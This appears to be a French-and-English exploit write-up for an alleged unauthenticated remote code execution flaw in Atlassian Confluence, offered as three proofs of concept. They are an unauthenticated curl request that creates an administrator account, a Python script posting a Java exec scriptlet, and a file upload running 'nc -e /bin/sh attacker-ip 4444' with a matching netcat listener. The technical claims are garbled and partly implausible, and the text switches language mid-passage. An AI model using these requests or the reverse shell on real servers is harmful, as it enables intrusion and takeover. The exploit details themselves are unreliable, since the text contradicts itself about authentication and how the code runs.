
This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allows an attacker to inject malicious code into the Confluence server, which can then be executed by the server
Cette vulnérabilité permet à un attaquant non authentifié d'exécuter du code arbitraire à distance sur un serveur Confluence vulnérable. La vulnérabilité est due à une validation incorrecte des entrées fournies par l'utilisateur dans l'API REST de Confluence. Cela permet à un attaquant d'injecter du code malveillant dans le serveur Confluence, qui peut ensuite être exécuté par le serveur.
Cette vulnérabilité pourrait permettre à un attaquant de prendre complètement le contrôle d'un serveur Confluence vulnérable. Cela pourrait permettre à l'attaquant de voler des données, de modifier des données ou de perturber la disponibilité du serveur.
Nous mentionnerons plus d'une méthode 1.
1. Identification du point de terminaison API vulnérable:
Nous utiliserons le point de terminaison API suivant :
POST /rest/api/user/bulk
Ce point de terminaison permet aux administrateurs de créer de nouveaux utilisateurs en masse.
2. Création d'une requête malveillante:
Nous allons créer une requête malveillante qui inclut une charge utile contenant du code malveillant. Ce code créera un nouvel utilisateur avec des privilèges d'administrateur.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Envoi de la requête au serveur:
Nous utiliserons l'outil cURL pour envoyer la requête au serveur Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Exécution du code malveillant:
Si la requête réussit, le serveur Confluence exécutera le code malveillant. Cela créera un nouvel utilisateur nommé "attacker" avec des privilèges d'administrateur. L'attaquant pourra ensuite utiliser ce compte pour accéder au serveur et en prendre le contrôle total.
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Envoyez la requête modifiée via Burp Suite. Vérifiez la réponse pour voir si le serveur a exécuté la charge utile malveillante. Si la réponse est inattendue ou contient des erreurs indiquant une exécution de code, alors la vulnérabilité a été détectée.
Si vous utilisez une charge utile pour établir un reverse shell, assurez-vous de configurer une écoute sur le port spécifié sur votre machine locale : nc -lvnp 4444. Si le serveur se connecte à votre machine locale, vous recevrez un reverse shell.